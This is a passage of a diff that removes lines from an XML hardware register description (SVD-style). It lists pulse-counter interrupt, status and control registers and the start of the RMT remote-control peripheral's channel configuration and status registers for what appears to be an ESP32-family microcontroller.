-        </register>
-        <register>
-          <name>INT_ST</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THR_EVENT_U0_INT_ST</name>
-              <description>This is the  interrupt status bit for channel0 event.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U1_INT_ST</name>
-              <description>This is the  interrupt status bit for channel1 event.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U2_INT_ST</name>
-              <description>This is the  interrupt status bit for channel2 event.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U3_INT_ST</name>
-              <description>This is the  interrupt status bit for channel3 event.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U4_INT_ST</name>
-              <description>This is the  interrupt status bit for channel4 event.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U5_INT_ST</name>
-              <description>This is the  interrupt status bit for channel5 event.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U6_INT_ST</name>
-              <description>This is the  interrupt status bit for channel6 event.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U7_INT_ST</name>
-              <description>This is the  interrupt status bit for channel7 event.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_ENA</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THR_EVENT_U0_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel0 event.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U1_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel1 event.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U2_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel2 event.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U3_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel3 event.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U4_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel4 event.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U5_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel5 event.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U6_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel6 event.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U7_INT_ENA</name>
-              <description>This is the  interrupt enable bit for channel7 event.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INT_CLR</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CNT_THR_EVENT_U0_INT_CLR</name>
-              <description>Set this bit to clear channel0 event interrupt.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U1_INT_CLR</name>
-              <description>Set this bit to clear channel1 event interrupt.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U2_INT_CLR</name>
-              <description>Set this bit to clear channel2 event interrupt.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U3_INT_CLR</name>
-              <description>Set this bit to clear channel3 event interrupt.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U4_INT_CLR</name>
-              <description>Set this bit to clear channel4 event interrupt.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U5_INT_CLR</name>
-              <description>Set this bit to clear channel5 event interrupt.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U6_INT_CLR</name>
-              <description>Set this bit to clear channel6 event interrupt.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>CNT_THR_EVENT_U7_INT_CLR</name>
-              <description>Set this bit to clear channel7 event interrupt.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U0_STATUS</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATUS_CNT_MODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_THRES1</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_THRES0</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_L_LIM</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_H_LIM</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>STATUS_ZERO</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U1_STATUS</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U2_STATUS</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U3_STATUS</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U4_STATUS</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U5_STATUS</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U6_STATUS</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U6</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>U7_STATUS</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CORE_STATUS_U7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTRL</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00005555</resetValue>
-          <fields>
-            <field>
-              <name>PLUS_CNT_RST_U0</name>
-              <description>Set this bit to clear unit0's counter.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U0</name>
-              <description>Set this bit to pause unit0's counter.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U1</name>
-              <description>Set this bit to clear unit1's counter.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U1</name>
-              <description>Set this bit to pause unit1's counter.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U2</name>
-              <description>Set this bit to clear unit2's counter.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U2</name>
-              <description>Set this bit to pause unit2's counter.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U3</name>
-              <description>Set this bit to clear unit3's counter.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U3</name>
-              <description>Set this bit to pause unit3's counter.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U4</name>
-              <description>Set this bit to clear unit4's counter.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U4</name>
-              <description>Set this bit to pause unit4's counter.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U5</name>
-              <description>Set this bit to clear unit5's counter.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U5</name>
-              <description>Set this bit to pause unit5's counter.</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U6</name>
-              <description>Set this bit to clear unit6's counter.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U6</name>
-              <description>Set this bit to pause unit6's counter.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLUS_CNT_RST_U7</name>
-              <description>Set this bit to clear unit7's counter.</description>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CNT_PAUSE_U7</name>
-              <description>Set this bit to pause unit7's counter.</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x14122600</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>RMT</name>
-      <description>Remote Control Peripheral</description>
-      <groupName>RMT</groupName>
-      <baseAddress>0x3FF56000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xF8</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>RMT</name>
-        <value>47</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>CH0DATA</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH1DATA</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH2DATA</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH3DATA</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH4DATA</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH5DATA</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH6DATA</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <name>CH7DATA</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>CH%sCONF0</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x31100002</resetValue>
-          <fields>
-            <field>
-              <name>DIV_CNT</name>
-              <description>This register is used to configure the  frequency divider's factor in channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IDLE_THRES</name>
-              <description>In receive mode when no edge is detected on the input signal for longer than reg_idle_thres_ch0 then the receive process is done.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_SIZE</name>
-              <description>This register is used to configure the the amount of memory blocks allocated to channel0.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_EN</name>
-              <description>This is the carrier modulation enable control bit for channel0.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARRIER_OUT_LV</name>
-              <description>This bit is used to configure the way carrier wave is modulated for  channel0.1'b1:transmit on low output level  1'b0:transmit  on high output level.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_PD</name>
-              <description>This bit is used to reduce power consumed by mem. 1:mem is in low power state.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <description>This bit  is used  to control clock.when software config RMT internal registers  it controls the register clock.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>8</dim>
-          <dimIncrement>0x8</dimIncrement>
-          <dimIndex>0-7</dimIndex>
-          <name>CH%sCONF1</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000F20</resetValue>
-          <fields>
-            <field>
-              <name>TX_START</name>
-              <description>Set this bit to start sending data for channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_EN</name>
-              <description>Set this bit to enbale receving data for channel0.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_WR_RST</name>
-              <description>Set this bit to reset write ram address for channel0 by receiver access.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_RD_RST</name>
-              <description>Set this bit to reset read ram address for channel0 by transmitter access.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APB_MEM_RST</name>
-              <description>Set this bit to reset W/R ram address for channel0 by apb fifo access</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_OWNER</name>
-              <description>This is the mark of channel0's ram usage right.1'b1：receiver uses the ram  0：transmitter uses the ram</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_CONTI_MODE</name>
-              <description>Set this bit to continue sending  from the first data to the last data in channel0 again and again.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FILTER_EN</name>
-              <description>This is the receive filter enable bit for channel0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_FILTER_THRES</name>
-              <description>in receive mode  channel0 ignore input pulse when the pulse width is smaller then this value.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>REF_CNT_RST</name>
-              <description>This bit is used to reset divider in channel0.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>REF_ALWAYS_ON</name>
-              <description>This bit is used to select base clock. 1'b1:clk_apb  1'b0:clk_ref</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IDLE_OUT_LV</name>
-              <description>This bit configures the output signal's level for channel0 in IDLE state.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IDLE_OUT_EN</name>
-              <description>This is the output enable control bit for channel0 in IDLE state.</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH0STATUS</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel0</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel0.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel0 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel0 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel0 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel0. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel0 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel0 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH1STATUS</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel1.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel1.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel1 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel1 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel1 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel1. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel1 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel1 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH2STATUS</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel2</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel2.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel2.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel2 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel2 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel2 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel2. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel2 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel2 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH3STATUS</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel3.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel3.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
-              <description>The channel3 state machine status register.3'h0 : idle, 3'h1 : send, 3'h2 : read memory, 3'h3 : receive, 3'h4 : wait.</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_OWNER_ERR</name>
-              <description>When channel3 is configured for receive mode, this bit will turn to high level if rmt_mem_owner register is not set to 1.</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_FULL</name>
-              <description>The memory full status bit for channel3 turns to high level when mem_waddr_ex is greater than or equal to the configuration range.</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_EMPTY</name>
-              <description>The memory empty status bit for channel3. in acyclic mode, this bit turns to high level when mem_raddr_ex is greater than or equal to the configured range.</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_WR_ERR</name>
-              <description>The apb write memory status bit for channel3 turns to high level when the apb write address exceeds the configuration range.</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APB_MEM_RD_ERR</name>
-              <description>The apb read memory status bit for channel3 turns to high level when the apb read address exceeds the configuration range.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CH4STATUS</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>STATUS</name>
-              <description>The status for channel4</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_WADDR_EX</name>
-              <description>The current memory read address of channel4.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEM_RADDR_EX</name>
-              <description>The current memory write address of channel4.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>STATE</name>
